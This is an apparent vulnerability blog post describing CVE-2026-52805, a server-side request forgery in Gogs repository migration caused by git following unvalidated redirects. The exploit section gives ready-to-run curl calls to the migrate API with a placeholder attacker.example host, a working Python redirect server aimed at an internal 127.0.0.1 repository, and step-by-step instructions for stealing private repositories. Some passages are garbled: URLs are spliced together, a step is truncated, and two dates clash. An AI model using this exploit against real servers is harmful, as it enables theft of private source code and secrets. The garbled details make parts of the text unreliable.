Listen to this Post
How CVE-2026-52805 Works
A Server-Side Request Forgery (SSRF) vulnerability exists in Gogs’ repository migration functionality. The root cause is that the application validates only the initially submitted URL hostname, but `git clone –mirror` follows HTTP redirects without revalidation.
The vulnerable code paths are:
– `internal/form/repo.go` – `ParseRemoteAddr()` validates the clone address hostname against a blocklist of local and private-network addresses
– `internal/database/repo.go` – `git clone –mirror` performs the actual migration and follows HTTP redirects
An authenticated attacker can exploit this discrepancy as follows:
1. The attacker submits a migration request with a public-looking URL (e.g., http://attacker.example/redirect.git`)http://127.0.0.1:18081/victim/private.git`)
2. `ParseRemoteAddr()` validates the public hostname and allows the request
3. The attacker's server responds with a `302` redirect to a blocked internal endpoint (e.g.,
4. Git follows the redirect and clones the internal repository
5. Gogs imports the cloned contents into the attacker’s new repository
The validation occurs only once, at the time of the initial URL submission. The final redirect target is never revalidated, allowing attackers to bypass the localhost/private-network migration restriction.
This vulnerability requires an authenticated user with repository migration permissions. User interaction is required to initiate the migration request. The vulnerability is identified as CWE-918 (Server-Side Request Forgery).
DailyCVE Form:
Platform: ……. Gogs
Version: …….. prior to v0.14.3
Vulnerability :…… Server-Side Request Forgery (SSRF)
Severity: ……. High (CVSS v4.0: Medium)
date: ………. 2026-06-19
Prediction: …… 2026-06-07 (v0.14.3)
What Undercode Say:
Analytics:
The vulnerability stems from a trust boundary violation between URL validation and Git’s redirect-following behavior. The `ParseRemoteAddr()` function implements a blocklist check, but the validation state is not propagated to the Git execution context. This is a classic time-of-check to time-of-use (TOCTOU) issue where the resource accessed (the final redirect target) differs from the resource validated (the initial URL).
The attack vector is remote and requires low privileges (authenticated user). No public exploit is currently available. The vulnerability was addressed in Gogs v0.14.3, which also fixed related SSRF issues in recurring mirror sync.
Bash Commands & Codes:
Direct localhost URL (blocked):
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
-H "Content-Type: application/json" \
--data '{"clone_addr":"http://127.0.0.1:18081/victim/private.git","uid":2,"repo_name":"blocked"}' \
"${GOGS_URL}/api/v1/repos/migrate"
Result: rejected as blocked local address
Public URL with redirect (bypass):
curl -sS -X POST -H "Authorization: token ${TOKEN}" \
-H "Content-Type: application/json" \
--data '{"clone_addr":"http://attacker.example/redirect.git","uid":2,"repo_name":"stolen","private":true}' \
"${GOGS_URL}/api/v1/repos/migrate"
Result: migration succeeds, internal repository contents are stolen
Redirect server (Python):
from http.server import HTTPServer, BaseHTTPRequestHandler
class RedirectHandler(BaseHTTPRequestHandler):
def do_GET(self):
self.send_response(302)
self.send_header('Location', 'http://127.0.0.1:18081/victim/private.git')
self.end_headers()
HTTPServer(('', 80), RedirectHandler).serve_forever()
Exploit:
- Set up a public HTTP server that responds with a `302` redirect to any internal Git endpoint
- As an authenticated Gogs user, create a new repository migration via the API or web UI
- Submit the public redirector URL as the `clone_addr`
4. Gogs validates the public hostname, then `git clone –mirror` follows the redirect - The internal repository is cloned and imported into the attacker’s repository
- The attacker can now browse, clone, and exfiltrate the stolen internal repository contents
This also enables internal network service scanning via the migration endpoint.
Protection:
- Upgrade: Update to Gogs v0.14.3 or later, which fixes this vulnerability
- Workaround: If immediate upgrade is not possible, restrict repository migration permissions to only trusted users
- Network Mitigation: Place the Gogs server behind a firewall that restricts outbound HTTP connections to only necessary external endpoints
- Monitoring: Audit migration logs for suspicious redirect patterns and unusually fast completion times
Impact:
- Data Theft: Attackers can steal source code, credentials, and secrets from internal Git repositories served over HTTP
- Network Reconnaissance: Internal network services can be scanned via the migration endpoint
- Privilege Bypass: The intended localhost/private-network migration restriction is completely bypassed
- Confidentiality Impact: High – sensitive source code and secrets can be exfiltrated
- Integrity Impact: High – stolen repositories can be modified and redistributed
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
